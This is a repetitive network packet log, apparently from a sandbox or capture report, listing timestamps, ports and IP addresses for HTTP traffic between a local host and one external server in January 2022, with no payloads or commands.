Jan 14, 2022 20:29:57.820333004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820338964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820379972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820393085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820421934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820460081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820471048 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820501089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820559025 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820578098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820595980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820635080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820646048 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820674896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820713043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820730925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820751905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820791006 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820801020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820830107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820871115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820880890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820908070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820949078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820960999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820988894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821027994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821058989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821083069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821121931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821132898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821161985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821203947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821209908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821240902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821280956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821288109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821322918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821368933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821372032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821408987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821449041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821458101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821491003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821532965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821544886 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821572065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821610928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821621895 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821650982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821688890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821700096 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821729898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821769953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821780920 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821810961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821860075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821880102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821921110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821958065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.821971893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.821996927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822036028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822052956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822076082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822115898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822132111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822156906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822196960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822201014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822237015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822278976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822300911 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822318077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822356939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822369099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822393894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822432995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822446108 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822472095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822511911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822523117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822551966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822588921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822598934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822628021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822666883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822673082 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822705030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822743893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822753906 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822782040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822822094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822824001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822861910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822899103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822909117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.822937965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822977066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.822988033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.823014021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.823055983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.823059082 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.823095083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.823132992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.823138952 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.881303072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881362915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881403923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881438971 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.881447077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881457090 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.881488085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881529093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881531000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.881571054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881609917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881611109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.881650925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881690979 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.881691933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881731033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881771088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881783009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.881809950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881863117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.881874084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881922960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881963968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.881970882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882003069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882045031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882050991 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882090092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882128000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882128954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882168055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882206917 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882208109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882249117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882288933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882292032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882328033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882365942 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882368088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882407904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882446051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882447004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882486105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882525921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882527113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882566929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882605076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882606983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882646084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882683039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882684946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882725000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882762909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882765055 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882802010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882839918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882842064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882882118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882922888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.882924080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882962942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.882999897 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883002996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883043051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883083105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883084059 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883122921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883162022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883162975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883203983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883244991 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883245945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883284092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883322954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883323908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883363962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883402109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883405924 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883440971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883481026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883481026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883521080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883584976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883614063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883622885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883662939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883667946 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883702040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883739948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883750916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883779049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883817911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883820057 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883857012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883897066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883898020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.883934021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883972883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.883977890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.884012938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884052038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884053946 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.884092093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884133101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.884134054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884174109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884213924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884217978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.884251118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884290934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.884290934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884330034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884366989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884371996 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.884406090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884444952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.884449959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944086075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944149017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944190979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944231033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944247961 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944269896 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944274902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944315910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944328070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944356918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944396973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944399118 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944437027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944477081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944482088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944515944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944555998 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944560051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944596052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944637060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944643021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944679022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944717884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944722891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944757938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944798946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944801092 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944838047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944878101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944879055 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944916964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944957018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.944957972 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.944998026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945035934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945041895 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.945077896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945153952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945157051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.945193052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945234060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945250988 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.945274115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945312977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945324898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.945353031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945391893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945403099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.945432901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945473909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945475101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.945513964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945554018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945555925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.945595026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945633888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945637941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.945672989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945713043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945713997 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.945753098 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945795059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945800066 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.945832014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945895910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.945910931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945952892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.945992947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946005106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946032047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946074009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946078062 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946111917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946152925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946156025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946192980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946233034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946237087 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946274042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946312904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946316957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946351051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946391106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946393013 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946429968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946470022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946475029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946511030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946549892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946556091 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946589947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946629047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946633101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946666956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946707010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946710110 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946746111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946785927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946789026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946826935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946863890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946870089 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946903944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946943045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.946947098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.946980953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.947027922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.947030067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.947072029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.947109938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.947122097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.947149992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.947190046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.947192907 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.947230101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.947271109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.947276115 CET	49882	80	192.168.2.4	81.163.30.181
